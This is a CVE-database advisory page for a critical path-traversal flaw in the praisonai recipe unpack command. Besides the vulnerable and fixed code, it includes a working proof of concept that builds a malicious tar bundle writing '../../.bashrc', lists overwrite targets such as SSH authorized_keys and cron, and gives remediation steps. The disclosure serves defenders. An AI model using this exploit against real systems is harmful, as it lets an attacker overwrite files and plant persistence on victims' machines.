Skip to main content

CVE-2026-40157 — Vulnerability in praisonai — CVE Details

CRITICAL

PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`

Published April 10, 2026Updated November 16, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.55%). Schedule for your next planned update.

Does your project use an affected praisonai version?

Paste your requirements.txt to check it for CVE-2026-40157 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

FieldValue
SeverityCritical
TypePath traversal -- arbitrary file write via tar.extract() without member validation
Affectedsrc/praisonai/praisonai/cli/features/recipe.py:1170-1172

Summary

cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.

Details

The vulnerable code is in cli/features/recipe.py:1170-1172:

for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.

The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.

# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest = str(dest_dir.resolve())
    for member in tar.getmembers():
        if os.path.isabs(member.name):
            raise RegistryError(...)
        if ".." in member.name.split("/"):
            raise RegistryError(...)
        resolved = os.path.realpath(os.path.join(dest, member.name))
        if not resolved.startswith(dest + os.sep):
            raise RegistryError(...)
    tar.extractall(dest_dir)

PoC

Build a malicious bundle:

import tarfile, io, json

manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()

with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo(name="manifest.json")
    info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    payload = b"export EVIL=1  # injected by malicious recipe\n"
    evil = tarfile.TarInfo(name="../../.bashrc")
    evil.size = len(payload)
    tar.addfile(evil, io.BytesIO(payload))

Trigger:

praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual:   .bashrc written two directories above the output dir

Impact

PathTraversal blocked?
praisonai recipe pull <name>Yes -- uses _safe_extractall
praisonai recipe publish <bundle>Yes -- uses _safe_extractall
praisonai recipe unpack <bundle>No -- raw tar.extract()

An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.

Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.

Remediation

Replace the raw extraction loop with _safe_extractall:

# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)

Affected paths

  • src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmd_unpack extracts tar members without path validation

Advisory Timeline

  • First published April 10, 2026 (230 days ago).
  • Last revised November 16, 2026 — 220 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonai to 4.5.128 or later
pip install "praisonai>=4.5.128"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
praisonai PyPI · Affected: 2.8.3, 2.8.4, 2.8.5, 2.8.6 (+292 more)4.5.128

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-40157?
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2026-40157?
CVE-2026-40157 affects praisonai. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40157 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
0.55%
EPSS percentile: 39.5

This is a below-median EPSS score — only 39.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-99g3-w8gr-x37c
PYSEC-2026-469

Related CVEs

  • CVE-2026-40088
    CRITICAL

    PraisonAI Vulnerable to OS Command Injection

  • CVE-2026-39890
    CRITICAL

    PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading

  • CVE-2026-57124
    CRITICAL

    PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

  • CVE-2026-55536
    CRITICAL

    PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)

  • CVE-2026-55541
    CRITICAL

    PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced

  • CVE-2026-61445
    CRITICAL

    PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

  • CVE-2026-40088
    CRITICAL

    PraisonAI Vulnerable to OS Command Injection

  • CVE-2026-57145
    CRITICAL

    PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt